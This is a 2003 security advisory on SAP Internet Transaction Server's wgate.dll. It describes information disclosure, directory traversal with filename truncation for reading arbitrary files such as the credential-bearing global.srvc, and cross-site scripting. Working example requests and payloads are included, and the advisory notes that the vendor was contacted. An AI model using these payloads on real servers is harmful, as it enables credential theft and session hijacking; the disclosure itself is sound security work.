[01.09.2003] Internet Transaction Server Multiple Vulnerabilities

Product: ITS ITS, Version 4620.2.0.323011, Build 46B.323011 (win32/IIS 5.0)
Vendor: SAP (http://www.sap.com/)
Vendor-Status: vendor contacted (02.08.2003)
Vendor-Patchs: SAP advice 598074,595383 and 654038

Vulnerablities

    * Path/information disclosure
    * Directory traversal
    * Filename truncation 
    * Arbitrary file disclosure
    * Cross site scripting/Cookie Theft


Exploitable
Local: ---
Remote: YES

Introduction

Visit "http://www.sap.com" and try to find additional information.


Vulnerability Details

1) DIRECTORY/INFO DISCLOSURE

OBJECT:
wgate.dll (win32 CGI-Communication binary)

DESCRIPTION:
Insufficient input- and output validation on miscellaneous userinput allows the insertion of non existing values for the following user supplied paramters:

##################
~service
~templatelanguage
~language
~theme
~template
##################

Thus leading to several unwanted error messages which may include sensitive information on operating-system, software version and the directory structure of the attacked server.

EXAMPLE:
---*---
Http-Request:
www.server.name/scripts/wgate/pbw2/!?

with params:
~runtimemode=DM&
~language=en&
~theme=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&
---*---

REMARKS:
It might be possible that "~template" is an undocumented or forgotten variable (NOT confirmed).

2) ARBITRARY FILE DISCLOSURE (Directory Traversal / File Truncation)

OBJECT:
wgate.dll (win32 CGI-Communication binary)

DESCRIPTION:

EXAMPLE:
---*---
Http-Request:
www.server.name/scripts/wgate/pbw2/!?

with params:
~language=en&
~runtimemode=DM&
~templatelanguage=&
~language=en&
~theme=..\..&
~template=services\global.srvc+++++++ ++++++ +++++++++++ +++++++ +++++++ ++++++ ++++ +++++ +++++++ +++++ +++++ +++++  +++++  +++++ +++++ +++++ +++++ +++++  +++++  +++++  +++++ +++++  +++++ +++++ +++++  +++++  +++++ +++++ +++++  +++++  +++++  +++++ +++++++ ++
---*---

(where "+" stands for spaces "%20" uri encoded).

Above will respond with the global server configuration file "global.srvc" on an ITS default-installation.

Normally the default-template extension (.html ?) gets concatenated to the rest of the template information.
Most probably somebody wanted to avoid a possible Bufferoverflow by truncating the input values if they exceed a given length. Thus making it possible to shed the ".html" extension.

For some strange reason now and then the program responds with an error-message instead of giving out the requested file. This might be due to unwanted?/additional? HTTP-Request-Header infos (NOT confirmed).

REMARKS:

The global configuration file "global.srvc" contains username and des-encrypted password
---*---
~password des26(2c94f116f4393f3d)
~login Master
---*---

A good DES-cracker should be able to crack this password-hash either by using wordlistst or by brute-force methods (NOT confirmed).


3) CROSS SITE SCRIPTING / COOKIE THEFT

OBJECT:
wgate.dll (win32 CGI-Communication binary)

DESCRIPTION:
Insufficient input- and output validation on miscellaneous userinput-parameters enables insertion of html/client side scripting tags.

EXAMPLE:
---*---
Http-Request:
www.server.name/scripts/wgate.dll?

with params:
~service=--><img%09src=javascript:alert(1)%3bcrap<BR>---*---

REMARKS:
Due to excessive usage of cookies for managing sessions and/or states cookie-theft is very likely.
There might be several other location where html/scripting tags can be inserted (NOT confirmed).


GENERAL REMARKS

Above findings derive from an external(black box) security test.
we would like to apologize in advance for potential nonconformities and/or known issues.


Recommended Hotfixes

software patch(es).


EOF Martin Eiszner / @2003
m.eiszner at sec-consult dot com